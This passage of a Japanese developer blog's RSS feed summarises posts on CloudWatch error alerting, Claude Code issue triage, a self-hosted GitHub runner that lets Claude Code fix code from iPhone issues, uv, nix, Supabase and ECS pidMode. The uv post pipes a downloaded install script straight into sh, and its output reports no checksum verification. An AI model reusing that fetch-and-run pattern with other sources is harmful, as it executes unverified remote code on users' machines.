&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;リアルタイム性&lt;/th&gt;
&lt;th&gt;柔軟性&lt;/th&gt;
&lt;th&gt;コスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subscription Filter + Lambda&lt;/strong&gt; (採用)&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metric Filter + Alarm + SNS&lt;/td&gt;
&lt;td&gt;中 (1分以上遅延)&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CloudWatch Logs Insights (定期実行)&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Subscription Filter はログ出力時にほぼリアルタイムで Lambda を起動するため、エラー発生から数秒で Issue が作成されます。&lt;/p&gt;</description></item><item><title>Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-cloudwatch-%E3%82%A8%E3%83%A9%E3%83%BC%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AE-issue-%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Thu, 12 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-cloudwatch-%E3%82%A8%E3%83%A9%E3%83%BC%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AE-issue-%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="claude-code-スキルで-cloudwatch-エラーレポートの-issue-トリアージを自動化する"&gt;Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する&lt;/h1&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;本番環境の ECS コンテナで発生したエラーは、CloudWatch Logs → Lambda → GitHub Issue という流れで自動起票される仕組みを運用しています。&lt;/p&gt;
&lt;p&gt;タイトルは &lt;code&gt;[prod][myapp] errors detected&lt;/code&gt;、ラベルは &lt;code&gt;CloudWatchLog&lt;/code&gt; で統一されており、1つの Issue に複数のエラーブロックがまとまって届きます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Error Report - 2026-02-12 01:32:28 UTC
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Environment**: prod
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Log Group**: &lt;span style="color:#e6db74"&gt;`/ecs/myapp-prod-ecs`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Error Blocks**: 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [1] 2026-02-12 01:32:26 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [2] 2026-02-12 01:45:10 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [3] 2026-02-12 02:01:33 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この Issue をそのまま放置すると、異なるエラーが混在したまま溜まっていきます。手作業で分類・個別 Issue 化するのは地味に面倒で、後回しにしがちでした。&lt;/p&gt;</description></item><item><title>iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った — Self-hosted Runner + Claude Code CLI セットアップガイド</title><link>https://hdknr.github.io/blogs/posts/2026/02/iphone-%E3%81%8B%E3%82%89-github-issue-%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7-mac-%E3%81%AE-claude-code-%E3%81%8C%E8%87%AA%E5%8B%95%E5%AE%9F%E8%A1%8C%E3%81%95%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F-self-hosted-runner--claude-code-cli-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Wed, 11 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/iphone-%E3%81%8B%E3%82%89-github-issue-%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7-mac-%E3%81%AE-claude-code-%E3%81%8C%E8%87%AA%E5%8B%95%E5%AE%9F%E8%A1%8C%E3%81%95%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F-self-hosted-runner--claude-code-cli-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;h1 id="iphone-から-github-issue-を書くだけで-mac-の-claude-code-が自動実行される仕組みを作った"&gt;iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った&lt;/h1&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;GitHub Self-hosted Runner + Claude Code CLI を組み合わせて、&lt;strong&gt;iPhone で Issue を作成 → Mac 上の Claude Code が自動で調査・コード修正・PR 作成&lt;/strong&gt;まで行う仕組みを構築した。2ステージ承認フロー付きで、&lt;code&gt;/claude&lt;/code&gt; で調査、&lt;code&gt;/approve&lt;/code&gt; で実行という安全な運用が可能。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="モチベーション"&gt;モチベーション&lt;/h2&gt;
&lt;p&gt;普段 Mac の前にいないときでも、iPhone からコードの調査や修正を指示したい。GitHub Issue に書くだけで Claude Code が自動的に動いてくれれば、移動中でもコードレビューや修正依頼ができる。&lt;/p&gt;
&lt;h2 id="完成した仕組み"&gt;完成した仕組み&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;iPhone GitHub Mac (self-hosted runner)
│ │ │
├─ Issue 作成 ────────────→│ │
│ (claude ラベル付与) │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (読み取り専用)
│ │←── 調査結果コメント ──────┤
│ │ + 承認待ちラベル │
│ │ │
├─ /approve コメント ──────→│ │
│ │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (書き込み許可)
│ │←── 実行結果 + PR ────────┤
│ │ - 承認待ちラベル │
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="トリガー一覧"&gt;トリガー一覧&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;動作&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;claude&lt;/code&gt; ラベル付き Issue 起票&lt;/td&gt;
&lt;td&gt;起票者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1: 読み取り専用で調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/claude&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1: 読み取り専用で調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/claude --execute&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1 スキップ、直接実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/approve&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー + &lt;code&gt;承認待ち&lt;/code&gt; ラベル&lt;/td&gt;
&lt;td&gt;Stage 2: 計画に基づき実行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="必要なもの"&gt;必要なもの&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;macOS マシン (Apple Silicon / Intel)&lt;/li&gt;
&lt;li&gt;Claude Code CLI がインストール済み (&lt;code&gt;npm install -g @anthropic-ai/claude-code&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Claude Max/Pro プラン (OAuth トークン) または Anthropic API キー&lt;/li&gt;
&lt;li&gt;GitHub CLI (&lt;code&gt;gh&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="セットアップ手順"&gt;セットアップ手順&lt;/h2&gt;
&lt;h3 id="1-self-hosted-runner-のインストール"&gt;1. Self-hosted Runner のインストール&lt;/h3&gt;
&lt;p&gt;GitHub の個人アカウントでは Runner はリポジトリ単位の登録になる。同一マシンに複数の Runner を並置できる。&lt;/p&gt;</description></item><item><title>nix</title><link>https://hdknr.github.io/blogs/posts/2025/01/nix/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/nix/</guid><description>&lt;h1 id="nix"&gt;nix&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Sumi-Sumi/items/8e43d970e7b54e969cbe"&gt;NIXで管理するpython環境&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="uv"&gt;uv&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.astral.sh/uv/"&gt;https://docs.astral.sh/uv/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;nix: &lt;a href="https://github.com/pyproject-nix/uv2nix"&gt;https://github.com/pyproject-nix/uv2nix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Superbase</title><link>https://hdknr.github.io/blogs/posts/2025/01/superbase/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/superbase/</guid><description>&lt;h1 id="supabase"&gt;supabase&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://supabase.com/"&gt;https://supabase.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kabochapo/items/6a2a391832825d17af7d"&gt;飛躍的に伸びているBaaS「Supabase」の概要と所感&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="postgrest"&gt;PostgREST&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.postgrest.org/en/v12/"&gt;https://docs.postgrest.org/en/v12/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws"&gt;AWS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/supabase-community/supabase-on-aws"&gt;https://github.com/supabase-community/supabase-on-aws&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terraform:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://supabase.com/docs/guides/deployment/terraform"&gt;https://supabase.com/docs/guides/deployment/terraform&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="postgraphile"&gt;PostGraphile&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.graphile.org/postgraphile/"&gt;https://www.graphile.org/postgraphile/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>uv</title><link>https://hdknr.github.io/blogs/posts/2025/01/uv/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/uv/</guid><description>&lt;h1 id="uv"&gt;uv&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.astral.sh/uv/"&gt;https://docs.astral.sh/uv/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;nix: &lt;a href="https://github.com/pyproject-nix/uv2nix"&gt;https://github.com/pyproject-nix/uv2nix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;downloading uv 0.5.14 aarch64-apple-darwin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;no checksums to verify
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;installing to /Users/hdknr/.local/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uvx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;everything&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s installed!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;To add $HOME/.local/bin to your PATH, either restart your shell or run:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; source $HOME/.local/bin/env &lt;span style="color:#f92672"&gt;(&lt;/span&gt;sh, bash, zsh&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; source $HOME/.local/bin/env.fish &lt;span style="color:#f92672"&gt;(&lt;/span&gt;fish&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% source .local/bin/env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% which uv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/Users/hdknr/.local/bin/uv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% uv --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv 0.5.14 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;9f1ba2b96 2025-01-02&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="uvx-uv-tool-run"&gt;uvx (&lt;code&gt;uv tool run&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;uvではdevelop環境で利用するtoolをuv tool(uvx)というコマンド別管理することが可能&lt;/p&gt;</description></item><item><title>MyScaleDB</title><link>https://hdknr.github.io/blogs/posts/2024/10/myscaledb/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/myscaledb/</guid><description>&lt;h1 id="myscaledb"&gt;MyScaleDB&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/myscale/MyScaleDB"&gt;https://github.com/myscale/MyScaleDB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://myscale.com/blog/unleashing-power-hnsw-indexes-pgvector/"&gt;Unleashing the Power of HNSW Indexes with pgvector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: ECS: Fargate: pidMode</title><link>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</link><pubDate>Mon, 02 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</guid><description>&lt;h1 id="aws-ecs-fargate-pidmode"&gt;AWS ECS Fargate: pidMode&lt;/h1&gt;
&lt;p&gt;AWS Fargateの&lt;code&gt;pidMode&lt;/code&gt;は、タスク内のコンテナ間でプロセスID（PID）名前空間を共有するための設定です。これにより、同じタスク内のコンテナが互いのプロセス情報にアクセスできるようになります¹²。&lt;/p&gt;
&lt;p&gt;例えば、モニタリング用のサイドカーコンテナが、他のコンテナのプロセス情報を取得して監視することが可能になります。Fargateでは&lt;code&gt;pidMode=task&lt;/code&gt;のみがサポートされており、これを有効にすると、タスク内のすべてのコンテナが同じPID名前空間を共有します²。&lt;/p&gt;
&lt;p&gt;この機能は、特にセキュリティや監視の観点から便利で、プロセスの監視やシステムコールのトラッキングが容易になります¹。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/2
(1) 【アップデート】ECS on Fargateでサイドカーからプロセス &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/&lt;/a&gt;.
(2) AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ &amp;hellip;. &lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/&lt;/a&gt;.
